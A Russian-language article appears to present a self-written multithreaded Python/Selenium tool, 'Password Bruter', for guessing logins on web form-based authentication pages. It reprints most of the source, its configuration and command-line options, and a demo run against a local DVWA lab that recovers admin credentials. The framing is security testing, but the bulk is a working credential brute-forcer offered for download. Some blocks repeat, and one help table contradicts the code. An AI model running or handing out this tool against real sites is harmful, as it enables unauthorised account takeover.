Перед разработчиками и тестировщиками web-приложений периодически встают задачи тестирования безопасности разрабатываемого продукта. Один из наиболее известных классификаторов угроз и уязвимостей для web-приложений - The Web Application Security Consortium (The WASC) Threat Classification v2.0.
Одна из популярных уязвимостей (Weaknesses - в классификаторе), встречающихся для web-приложений - это недостатки подсистемы авторизации (WASC-02 Insufficient Authorization). На web-приложение, имеющее данную уязвимость, могут попытаться осуществить атаку (Attacks - в классификаторе) типа "Брутфорс" (WASC-11 Brute Force). При этом злоумышленник может попытаться осуществить подбор учетных данных на странице авторизации, если она недостаточно защищена.
К недостаткам защиты страницы авторизации можно отнести:
- отсутствие ограничения по числу попыток авторизации,
- отсутствие поля для ввода дополнительной информации - капчи (capture),
- отсутствие временной задержки между попытками авторизации и другие.
Наличие указанных недостатков в реализации подсистемы авторизации упрощает злоумышленнику доступ к web-приложению.
Одна из разновидностей атаки брутфорсом - подбор учетных данных (Brute Forcing Log-in Credentials) для страницы авторизации (Form-based Auth). Для имитации данного типа атаки был написан свой многопоточный брутфорсер Password Bruter на Python 3.2. В качестве цели было развернуто и использовано уязвимое web-приложение Damn Vulnerable Web Application (DVWA).
1. Краткое описание
Password Bruter - программа для многопоточного подбора учетных данных вида {логин/пароль} к страничкам с form-based авторизацией, написанная на Python 3.2.
Пример странички с form-based авторизацией расположен в DVWA на вкладке "Brute Force".
Особенности:
- Универсальность применения. Bruter подходит для большинства html-форм авторизации, так как поля логина, пароля, кнопки подтверждения входа, условия успешной и неуспешной авторизаций задаются в файле конфигурации через xPath-адресацию.
- Многопоточный перебор. Учетные данные перебираются в отдельных потоках.
- Имитация действий пользователя. Атака фактически осуществляется в браузерах, запущенных Selenium WebDriver.
- Предварительное разбиение множества паролей по отдельным потокам.
- Возможность случайного перебора вместо последовательного, для повышения вероятности нахождения валидных учетных данных.
- Генератор для создания файла со списком псевдослучайных строк, состоящих из выбранных символов различных алфавитов.
- Настройка большинства параметров запуска программы как через командную строку, так и через файл конфигурации.
- Предварительная оценка времени работы, ведение подробного лога, формирование отчета о фактическом времени работы, результатах перебора в отдельных потоках, и прочее.
2. Программный код.
Программный код доступен в zip-архиве по ссылке:
https://docs.google.com/open?id=0B-1rf8K04ZS5UV93bkl6bjdiS1U
Код на GitHub:
https://github.com/Tim55667757/pwd_brut
/browser_drivers - каталог с Windows-драйверами для chrome и ie.
/ff_profile - каталог для индивидуального профиля мозиллы (пустой по умолчанию).
/dict - каталог по умолчанию для словарей со списками учетных данных.
pwd.txt - текстовый файл по умолчанию для списка паролей.
users.txt - текстовый файл по умолчанию для списка логинов.
pwd_brut.py - основной модуль для многопоточного запуска брутфорса.
bruter_lib.py - библиотека функций брутфорсера.
config.py - файл с переменными для конфигурации программы.
readme.txt - актуальная информация по проекту.
result.txt - текстовый файл по умолчанию для вывода результатов брутфорса.
workDir = os.path.abspath(os.curdir) # Рабочая директория проекта, относительно которой строятся другие пути.
threads = [] # Список потоков.
browsers = [] # Список запущенных браузеров. Каждый браузер в отдельном потоке.
Основные функции:
В ходе работы, программа выводит в консоль подробные логи о выполняемых действиях и расчетное время операций подбора. Результаты программы выводятся по умолчанию в файл result.txt.
https://docs.google.com/open?id=0B-1rf8K04ZS5UV93bkl6bjdiS1U
Код на GitHub:
https://github.com/Tim55667757/pwd_brut
Структура проекта
pwd_brut - корень проекта./browser_drivers - каталог с Windows-драйверами для chrome и ie.
/ff_profile - каталог для индивидуального профиля мозиллы (пустой по умолчанию).
/dict - каталог по умолчанию для словарей со списками учетных данных.
pwd.txt - текстовый файл по умолчанию для списка паролей.
users.txt - текстовый файл по умолчанию для списка логинов.
pwd_brut.py - основной модуль для многопоточного запуска брутфорса.
bruter_lib.py - библиотека функций брутфорсера.
config.py - файл с переменными для конфигурации программы.
readme.txt - актуальная информация по проекту.
result.txt - текстовый файл по умолчанию для вывода результатов брутфорса.
Содержимое модуля pwd_brut.py
Main() # Инициализация параметров, создание и сопровождение потоков, открытие браузеров, запуск брутфорса в потоках.
def Main(): """ Multithread runner. """ try: # Getting users and separate password's list. print('%s - Getting list of users ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) usersList = GetListFromFile(config.usersFile) print('%s - Getting list of passwords ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) passwordsList = [GetListFromFile(config.passwordsFile)] if len(passwordsList[0]) / config.brutThreads <= 1: config.brutThreads = 1 if config.brutThreads > 1: print('%s - Separate passwords list by threads ...' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) passwordsList = SeparateListByPieces(passwordsList[0], config.brutThreads) print('%s - Bruter initialize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) # Open new browser's instance, going to form-based auth page and start brute. for i in range(config.brutThreads): OpenBrowser(i, config.timeout, config.selBrowserString, config.selFFProfile) GoingToTarget(i, config.timeout, config.target, config.xPathLogin, config.xPathPassword, config.xPathAcceptButton) threads.append(threading.Thread( target=Bruter, args=(i, config.timeout, config.xPathLogin, config.xPathPassword, config.xPathAcceptButton, config.xPathSuccessAuth, config.xPathFailAuth, usersList, passwordsList[i], config.randomCredentials, config.resultFile))) et = EstimateTime(len(usersList), len(passwordsList[i]), config.timeout, round(config.rumpUpPeriod / config.brutThreads)) print('%s - Thread #%d, %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), i, et)) threads[i].start() if (config.brutThreads > 1) and (config.rumpUpPeriod > 0) and (i != config.brutThreads - 1): time.sleep(config.rumpUpPeriod / config.brutThreads) # Waiting until all threads done. threadsAreInProgress = True while threadsAreInProgress: for t in threads: if t != None: threadsAreInProgress = True break else: threadsAreInProgress = False except BaseException: print('%s - Bruter initialize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() finally: status = Cleaner() sys.exit(status)
Содержимое модуля bruter_lib.py
Основные глобальные переменные:workDir = os.path.abspath(os.curdir) # Рабочая директория проекта, относительно которой строятся другие пути.
threads = [] # Список потоков.
browsers = [] # Список запущенных браузеров. Каждый браузер в отдельном потоке.
Основные функции:
ParseArgs() # Парсер аргументов командной строки.
def ParseArgs(): """ Function get and parse command line keys. """ args = [] try: parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", type=str, help="Target URL for Bruter. For example: '--target=http://mysite.com/admin/'") parser.add_argument("-b", "--browser", type=str, help="Browser for Bruter (*firefox, *ie, *chrome). *firefox by default.") parser.add_argument("-r", "--random", type=str, help="If this key is True then Bruter uses random user and password in every iteration.") parser.add_argument("-T", "--threads", type=int, help="Thread's number.") parser.add_argument("-w", "--wait", type=int, help="Waiting for operation's finish (sec.).") parser.add_argument("-p", "--period", type=int, help="Rump up period shows time (sec.) in which all test suite threads will start.") parser.add_argument("-L", "--logins", type=str, help="Path to user's list. Default: dict/users.txt") parser.add_argument("-P", "--passwords", type=str, help="Path to password's list. Default: dict/pwd.txt") parser.add_argument("-R", "--results", type=str, help="Path to result file. Default: result.txt") parser.add_argument("-g", "--generator", type=str, help="Generate a lot of random strings for Bruter. Example: '-g [100,8,1,1,1,0,0,0]'.\n" + "This means:\n" + "1 number - number of strings, 2 - string's length, 3 - use or not Numbers," + "4 - use or not Latin Upper Case Chars, 5 - use or not Latin Lower Case Chars" + "6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars," "8 - use or not Special Simbols. Output file: dict/rnd_.txt") args = parser.parse_args() if args.target != None: config.target = args.target if (args.browser == '*chrome') or (args.browser == '*ie'): config.selBrowserString = args.browser else: config.selBrowserString = '*firefox' if args.random != None: if args.random == 'True': config.randomCredentials = True else: config.randomCredentials = False if args.threads != None: config.brutThreads = args.threads if args.wait != None: config.timeout = args.wait if args.period != None: config.rumpUpPeriod = args.period if args.logins != None: if os.path.exists(args.logins): config.usersFile = args.logins else: config.usersFile = 'dict/users.txt' if args.passwords != None: if os.path.exists(args.passwords): config.passwordsFile = args.passwords else: config.passwordsFile = 'dict/pwd.txt' if args.results != None: if os.path.exists(args.results): config.resultFile = args.results else: config.resultFile = 'result.txt' if args.generator != None: params = [] try: params = StringOfNumToNumsList(args.generator) except: pass finally: if len(params) >= 8: config.randomGeneratorParameter = params else: print('%s - Generator using default parameters from config file: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), config.randomGeneratorParameter)) print('%s - Parsing command line arguments, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) except BaseException: print('%s - Parsing command line arguments, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() finally: return args
EstimateTime(numLogins, numPasswords, waitInSec, rumpUp, treadsNum) # Функция расчета ожидаемого времени работы.
def EstimateTime(numLogins=0, numPasswords=0, waitInSec=1, timeForStartingTreads=0): """ Function returns info about estimate time. """ try: es = numLogins * numPasswords * waitInSec + timeForStartingTreads eh = round(es / 3600) info = 'Users: %d, Passwords: %d, Full Estimated Time: %d sec. (~%d hours).' %\ (numLogins, numPasswords, es, eh) except BaseException: traceback.print_exc() return 'Can\'t compute estimate time!' return info
DurationOperation(func) # Декоратор для оценки времени работы функций.
def DurationOperation(func): """ This is decorator for compute duration operation of functions. It works only with functions returning number >= 0. """ def wrapper(*args, **kwargs): startTime = datetime.now() print('%s - Thread #%d, %s, starting ...' % (startTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) status = func(*args, **kwargs) stopTime = datetime.now() if status == 0: print('%s - Thread #%d, %s, status: oK' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) else: print('%s - Thread #%d, %s, status: error' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func))) duration = stopTime - startTime print('%s - Thread #%d, %s, duration operation: %s' % (stopTime.strftime('%H:%M:%S %d.%m.%Y'), args[0], str(func), str(duration))) return status return wrapper
StringOfNumToNumsList(string) # Конвертер строки чисел с разделителями в список чисел.
def StringOfNumToNumsList(string): """ Get some string with numbers and other simbols, for example:'[572,573,604,650]' or similar and convert it to list of numbers as [572, 573, 604, 650]. """ numList = [] try: while len(string) != 0: s = '' i = 0 flag = True while flag and i < len(string): if string[i] in '0123456789': s = s + string[i] i += 1 else: flag = False if s != '': numList.append(int(s)) string = string[i + 1:] except: print('%s - Can\'t parse your string of numbers to list of numbers!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() return [] return numList
GetListFromfile(file) # Получение списка строк из файла.
def GetListFromFile(file): """ This function get strings from file and put into list. Text-file must have #13#10 """ listFromFile = [] if os.path.exists(file): try: with open(file) as fh: allStrings = fh.read() listFromFile = allStrings.split('\n') except BaseException: print('%s - Can\'t get list from file: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file)) traceback.print_exc() return [] return listFromFile
SeparateListByPieces(fullList, piecesNum) # Возвращает список списков, полученных разбиением входного списка на указанное число "кусков".
def SeparateListByPieces(fullList, piecesNum): """ Function get full list of objects and then divided into a number of parts. Last part may be bigger, than other. Function return a list of part of full list. """ separate = [] listLen = len(fullList) if (listLen > 0) and (piecesNum > 1): try: objectsInPieces = listLen // piecesNum for i in range(piecesNum): piece = [fullList[i * objectsInPieces + k] for k in range(objectsInPieces)] separate.append(piece) separate[piecesNum - 1] += fullList[piecesNum * objectsInPieces:] except BaseException: print('%s - Can\'t separate list of objects!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() return [fullList] else: separate = [fullList] return separate
Reporting(instance, file, creds, users, passwords, actualTime) # Репортер для брутфорсера.
@DurationOperation def Reporting(instance=0, file='result.txt', creds=None, users=None, passwords=None, actualTime=0): """ This function print results to file. """ try: if os.path.exists(file): fileTo = open(file, 'a') else: fileTo = open(file, 'w') fileTo.write('\n%s - Thread #%d, Bruter finished check for\n' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance) + 'users = [\'%s\', ..., \'%s\'], %d items,\n' % (users[0], users[-1], len(users)) + 'passwords = [\'%s\', ..., \'%s\'], %d items.\n' % (passwords[0], passwords[-1], len(passwords)) + 'Actual time worked: %s\n' % str(actualTime)) if (creds != None) and (creds != {}): fileTo.write('Suitable credentials: %s\n' % str(creds)) else: fileTo.write('Bruter can\'t find suitable credentials.\n') print('%s - Thread #%d, Updating report file: \'%s\'' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, file)) fileTo.close() except BaseException: traceback.print_exc() return 1 return 0
OpenBrowser(instance, opTimeout, browserString, ffProfile) # Открытие и подготовка браузера к работе.
@DurationOperation def OpenBrowser(instance=0, opTimeout=10, browserString='*firefox', ffProfile=None): """ Commands for opening new instance of WebDriver browser. """ try: # Get new browser instance and put it into browser array. One browser for one thread. if browserString == '*chrome': chromeOptions = webdriver.ChromeOptions() chromeOptions.add_argument('--start-maximized') chromeOptions.add_argument('--log-path=' + workDir + '/browser_drivers/chromedriver.log') os.chdir(workDir + '/browser_drivers') browsers.append(webdriver.Chrome(executable_path=workDir + '/browser_drivers/chromedriver.exe', chrome_options=chromeOptions)) os.chdir(workDir) elif browserString == '*ie': browsers.append(webdriver.Ie(executable_path=workDir + '/browser_drivers/IEDriverServer.exe', log_file=workDir + '/browser_drivers/iedriver.log')) browsers[len(browsers) - 1].maximize_window() else: ffp = webdriver.FirefoxProfile(ffProfile) browsers.append(webdriver.Firefox(firefox_profile=ffp, timeout=opTimeout)) browsers[len(browsers) - 1].maximize_window() except BaseException: traceback.print_exc() return 1 return 0
GoingToTarget(instance, opTimeout, targetURL, loginField, passwordField, acceptButton) # Переход к целевой страничке.
@DurationOperation def GoingToTarget(instance=0, opTimeout=10, targetURL='', loginField="//input[@name='login']", passwordField="//input[@name='password']", acceptButton="//input[@type='submit']"): """ This funcion going to target's URL with form-based auth. """ try: page = browsers[instance] page.get(targetURL) WebDriverWait(page, opTimeout).until( lambda el: el.find_element_by_xpath(loginField).is_displayed() and el.find_element_by_xpath(passwordField).is_displayed() and el.find_element_by_xpath(acceptButton).is_displayed(), 'Timeout while opening auth page.') except BaseException: traceback.print_exc() return 1 return 0
CloseBrowser(instance=0) # Завершение работы браузера.
@DurationOperation def CloseBrowser(instance=0): """ Try to close WebDriver browser. """ if len(browsers) > 0: if browsers[instance] != None: try: browsers[instance].close() browsers[instance] = None except BaseException: traceback.print_exc() return 1 return 0
Cleaner() # Функция для корректного завершения всех операций и потоков программы.
def Cleaner(): """ Finalization step for Bruter. """ status = 0 try: # Stopping compute threads and closing browsers. for t in threads: if t != None: t._stop() t = None for b in range(len(browsers)): status += CloseBrowser(b) if status == 0: print('%s - Bruter finalize, status: oK' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) except BaseException: print('%s - Bruter finalize, status: error' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() return 1 return status
GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация псевдослучайной строки указанной длины, состоящей из символов указанных алфавитов.
def GenerateRandomString(length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False, useSpecial=False): """ Function return random text-string definite length, that will be use as login or password. 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. """ # There are possible simbols in alphabet. alphabet = { 'dicNum': '1234567890', 'dicEngCharUpperCase': 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'dicEngCharLowerCase': 'abcdefghijklmnopqrstuvwxyz', 'dicRuCharUpperCase': 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯ', 'dicRuCharLowerCase': 'абвгдеёжзийклмнопрстуфхцчшщьыъэюя', 'dicSpecial': '!@#$%^&*()-_+=.,<>[]{}\|/`~"\':;'} # Preparing user's alphabet. usersAlphabet = '' if useNum: usersAlphabet += alphabet['dicNum'] if useEngUp: usersAlphabet += alphabet['dicEngCharUpperCase'] if useEngLo: usersAlphabet += alphabet['dicEngCharLowerCase'] if useRuUp: usersAlphabet += alphabet['dicRuCharUpperCase'] if useRuLo: usersAlphabet += alphabet['dicRuCharLowerCase'] if useSpecial: usersAlphabet += alphabet['dicSpecial'] usersAlpLen = len(usersAlphabet) # Generating random string with user prefers. textString = '' try: if (length > 0) and (usersAlphabet != ''): for i in range(length): textString += usersAlphabet[random.randint(0, usersAlpLen - 1)] except BaseException: textString = '' print('%s - Can\'t generate random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() finally: return textString
GenerateListOfRandomStrings(numbers, length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial) # Генерация листа с указанным числом псевдослучайных строк.
def GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False, useSpecial=False): """ Function return list of random text-string definite length, that will be use as login or password. 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. """ rndList = [] try: if numbers > 0: for i in range(numbers): rndList.append(GenerateRandomString(length, useNum, useEngUp, useEngLo, useRuUp, useRuLo, useSpecial)) except BaseException: rndList = [] print('%s - Can\'t generate list of random string!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() finally: return rndList
GenerateFileWithRandomStrings(par) # Генерация файла со списком псевдослучайных строк.
def GenerateFileWithRandomStrings(par=None): """ Function create file with random text-string, that will be use as login or password. Example: Par = [100, 5, 1, 1, 1, 0, 0, 0] 1 number - number of strings, 2 - string's length, 3 - use or not Numbers, 4 - use or not English Upper Case Chars, 5 - use or not English Lower Case Chars, 6 - use or not Russian Upper case chars, 7 - use or not Russian Lower Case Chars, 8 - use or not Special Simbols. """ file = 'dict/rnd_' + datetime.now().strftime('%d_%m_%Y_%H_%M_%S') + '.txt' try: if not (os.path.exists('dict')): os.mkdir('dict') fileTo = open(file, 'a') if len(par) >= 8: for i in range(2, 8): if par[i] == 1: par[i] = True else: par[i] = False rndList = GenerateListOfRandomStrings(par[0], par[1], par[2], par[3], par[4], par[5], par[6], par[7]) else: rndList = GenerateListOfRandomStrings(numbers=10, length=8, useNum=True, useEngUp=True, useEngLo=True, useRuUp=False, useRuLo=False, useSpecial=False) if len(rndList) > 0: for string in rndList: fileTo.write(string + '\n') print('%s - Generate file with random strings: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), file)) fileTo.close() except BaseException: print('%s - Can\'t generate file with random strings!' % datetime.now().strftime('%H:%M:%S %d.%m.%Y')) traceback.print_exc() return 1 return 0
Bruter(instance, opTimeout, loginField, passwordField, acceptButton, successAuth, failAuth, users=None, passwords, randomization, result) # Основная функция для перебора учётных данных.
@DurationOperation def Bruter(instance=0, opTimeout=3, loginField="", passwordField="", acceptButton="", successAuth="", failAuth="", users=None, passwords=None, randomization=False, result='result.txt'): """ This function loops through user IDs and passwords and finds suitable credentials. """ # Dictionary {user:pass} for suitable user and password. suitableCredentials = {} startTime = datetime.now() try: page = browsers[instance] modUsers = users[:] modPasswords = passwords[:] if randomization: print('%s - Thread #%d, shuffling users and passwords ...' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) random.shuffle(modUsers) random.shuffle(modPasswords) print('%s - Thread #%d, trying to use credentials ...' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) for user in modUsers: for pwd in modPasswords: try: page.find_element_by_xpath(loginField).clear() page.find_element_by_xpath(loginField).send_keys(user) page.find_element_by_xpath(passwordField).clear() page.find_element_by_xpath(passwordField).send_keys(pwd) page.find_element_by_xpath(acceptButton).click() WebDriverWait(page, opTimeout).until( lambda el: el.find_element_by_xpath(successAuth).is_displayed(), '') suitableCredentials = {user: pwd} print('%s - Thread #%d, found valid credentials: %s' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance, str({user: pwd}))) break except: try: WebDriverWait(page, opTimeout).until( lambda el: el.find_element_by_xpath(failAuth).is_displayed(), '%s - Thread #%d, Can\'t find auth fields! Possible connection problem.' % (datetime.now().strftime('%H:%M:%S %d.%m.%Y'), instance)) except: pass if suitableCredentials != {}: break threads[instance] = None Reporting(instance, result, suitableCredentials, users, passwords, datetime.now() - startTime) except: traceback.print_exc() return 1 return 0
В ходе работы, программа выводит в консоль подробные логи о выполняемых действиях и расчетное время операций подбора. Результаты программы выводятся по умолчанию в файл result.txt.
3. Запуск программы.
Password Bruter можно запустить без параметров, в этом случае он начнет подбирать учетные данные согласно настройкам по умолчанию, заданным в файле конфигурации config.py. Все параметры содержат комментарии. Рекомендуется не изменять имена переменных-параметров.
Находясь в корне проекта для запуска программы можно использовать команду: python pwd_brut.py [options] [options] - необязательные параметры командной строки, так как все настройки могут быть заданы в config.py.
target = 'http://mysite.com/admin/' # Целевая страничка с form-based авторизацией.
xPathLogin = "//input[@name='login']" # xPath для поля логина.
xPathPassword = "//input[@name='password']" # xPath для поля пароля.
xPathAcceptButton = "//input[@type='submit']" # xPath для кнопки подтверждения входа.
xPathSuccessAuth = "//a[@id='loginLink']" # xPath для условия успешной авторизации.
xPathFailAuth = "//div[@id='error']" # xPath для условия провала авторизации.
selBrowserString = '*firefox' # Строка браузера показывает Selenium WebDriver какой браузер нужно запустить: *firefox, *chrome, *ie.
selFFProfile = 'ff_profile' # Профиль Mozilla. Этот параметр используется только ff. Это относительный путь до директории с профилем.
Параметры для брутфорсера:
usersFile = 'dict/users.txt' # Путь к файлу со списком логинов.
passwordsFile = 'dict/pwd.txt' # Путь к файлу со списком паролей.
resultFile = 'result.txt' # Путь к файлу для вывода результатов.
brutThreads = 1 # Число потоков для запуска брутфорса.
rumpUpPeriod = brutThreads * 5 # Период в секундах, показывающий когда все потоки будут запущены.
timeout = 1 # Таймаут операций в сек. Требует особого подбора. Если поставить слишком маленький, есть шанс пропустить успешную авторизацию.
randomCredentials = False # Если ключ равен True, тогда Bruter использует случайные учетные данные, а не по порядку, как указано в файлах с логинами и паролями.
Параметры генератора псевдослучайных строк:
randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] # В конфигурации можно указывать список с пробелами. В командной строке - числа могут разделяться только знаками препинания.
Параметры для консольного запуска представлены ключами:
Ключ | Слово | Описание |
---|---|---|
-h | --help | Показать подсказку по опциям. |
-t | --target | Целевой URL для программы, указывающий на страничку с form-based авторизацией. Примеры: --target=http://mysite.com/admin/ t http://site.ru/ |
-b | --browser | Строка браузера (*firefox, *chrome, *ie), показывающая, в каком браузере запустить перебор. По умолчанию, запускается firefox. Примеры: --browser=*chrome -b *ie |
-r | --random | Если ключ равен True, тогда программа использует случайные учетные данные при переборе. Примеры: --random=True -r False |
-T | --threads | Число потоков, в которых будет запущен перебор. Примеры: --threads=5 -T 10 |
-w | --wait | Ожидание успешного завершения операций в браузере, сек. Примеры: --wait=2 -w 1 |
-p | --period | Период, в течении которого следует запустить все потоки. Ориентировочно +5 сек. на поток. Примеры: --period=10 -p 5 |
-L | --logins | Путь к текстовому файлу со списком логинов. По умолчанию, dict/users.txt. Примеры: --logins=my_logins.txt -L dict/123/my_logins.txt |
-P | --passwords | Путь к текстовому файлу со списком паролей. По умолчанию, dict/pwd.txt. Примеры: --passwords=my_pass.txt -P dict/123/my_passwords.txt |
-R | --results | Путь к текстовому файлу для вывода результатов. По умолчанию, result.txt. Примеры: --results=res.log -R results/res.log |
-g | --generator | Генератор псевдослучайных строк, выходной файл: dict/rnd_<date_time>.txt. На вход подаётся список чисел [1,2,3,4,5,6,7,8], в котором: 1 число - количество случайных строк, 2 число - длина генерируемых строк, 3 цифра - {0, 1} - использовать или нет цифры при генерации, 4 цифра - {0, 1} - использовать (0) или нет (1) большие символы латинского алфавита, 5 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы латинского алфавита, 6 цифра - {0, 1} - использовать (0) или нет (1) большие символы русского алфавита, 7 цифра - {0, 1} - использовать (0) или нет (1) маленькие символы русского алфавита, 8 цифра - {0, 1} - использовать (0) или нет (1) специальные символы: !@#$%^&*()-_+=.,<>[]{}\|/`~"\':; Пример: --generator=[100,8,1,1,1,0,0,0] - сгенерировать 100 случайных строк, длины 8, состоящих только из цифр, больших и маленьких символов латинского алфавита. |
Примеры использования ключей:
python pwd_brut.py --target=http://mysite.com/admin/ # Запуск брутфорса на целевую страничку. Браузер Mozilla по умолчанию. python pwd_brut.py -L my_logins.txt -P my_passs.txt -R res.log # Запуск программы с измененными словарями и файлом для результатов. python pwd_brut.py -w 2 -r True -T 10 # Установить время ожидания операций в 2 сек., выбирать случайные учетные данные из списков, запустить 10 потоков. python pwd_brut.py -g [10,5,1,0,0,0,0,0] # Сгенерировать 10 случайных строк, длины 5, состоящих только из цифр. Результат будет выведен в файл: dict/rnd_<текущие_дата_время>.txt
Настройка программы через файл конфигурации config.py
Параметры для цели:target = 'http://mysite.com/admin/' # Целевая страничка с form-based авторизацией.
xPathLogin = "//input[@name='login']" # xPath для поля логина.
xPathPassword = "//input[@name='password']" # xPath для поля пароля.
xPathAcceptButton = "//input[@type='submit']" # xPath для кнопки подтверждения входа.
xPathSuccessAuth = "//a[@id='loginLink']" # xPath для условия успешной авторизации.
xPathFailAuth = "//div[@id='error']" # xPath для условия провала авторизации.
selBrowserString = '*firefox' # Строка браузера показывает Selenium WebDriver какой браузер нужно запустить: *firefox, *chrome, *ie.
selFFProfile = 'ff_profile' # Профиль Mozilla. Этот параметр используется только ff. Это относительный путь до директории с профилем.
Параметры для брутфорсера:
usersFile = 'dict/users.txt' # Путь к файлу со списком логинов.
passwordsFile = 'dict/pwd.txt' # Путь к файлу со списком паролей.
resultFile = 'result.txt' # Путь к файлу для вывода результатов.
brutThreads = 1 # Число потоков для запуска брутфорса.
rumpUpPeriod = brutThreads * 5 # Период в секундах, показывающий когда все потоки будут запущены.
timeout = 1 # Таймаут операций в сек. Требует особого подбора. Если поставить слишком маленький, есть шанс пропустить успешную авторизацию.
randomCredentials = False # Если ключ равен True, тогда Bruter использует случайные учетные данные, а не по порядку, как указано в файлах с логинами и паролями.
Параметры генератора псевдослучайных строк:
randomGeneratorParameter = [100, 8, 1, 1, 1, 0, 0, 0] # В конфигурации можно указывать список с пробелами. В командной строке - числа могут разделяться только знаками препинания.
4. Пример реализации атаки на страничку авторизации в DVWA.
Было установлено и развернуто приложение DVWA. Для брутера были указаны параметры:
target = 'http://10.111.113.83/dvwa/vulnerabilities/brute/'
xPathLogin = "//input[@name='username']"
xPathPassword = "//input[@name='password']"
xPathAcceptButton = "//input[@name='Login']"
xPathSuccessAuth = "//img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']"
xPathFailAuth = "//pre[contains(text(), 'Username and/or password incorrect.']"
selBrowserString = '*chrome'
usersFile = 'dict/users.txt'
passwordsFile = 'dict/pwd.txt'
resultFile = 'result.txt'
brutThreads = 2
rumpUpPeriod = brutThreads * 5
timeout = 1
randomCredentials = True
xPathLogin = "//input[@name='username']"
xPathPassword = "//input[@name='password']"
xPathAcceptButton = "//input[@name='Login']"
xPathSuccessAuth = "//img[@src='http://10.111.113.83/dvwa/hackable/users/admin.jpg']"
xPathFailAuth = "//pre[contains(text(), 'Username and/or password incorrect.']"
selBrowserString = '*chrome'
usersFile = 'dict/users.txt'
passwordsFile = 'dict/pwd.txt'
resultFile = 'result.txt'
brutThreads = 2
rumpUpPeriod = brutThreads * 5
timeout = 1
randomCredentials = True
На выходе получили результаты в файл result.txt:
12:52:52 25.09.2012 - Thread #0, Bruter finished check for
users = ['admin', ..., ''], 5 items,
passwords = ['', ..., 'user'], 4 items.
Actual time worked: 0:00:05.838000
Suitable credentials: {'admin': ''}
12:53:59 25.09.2012 - Thread #1, Bruter finished check for
users = ['admin', ..., ''], 5 items,
passwords = ['guest', ..., 'qwerty'], 5 items.
Actual time worked: 0:00:09.354000
Bruter can't find suitable credentials.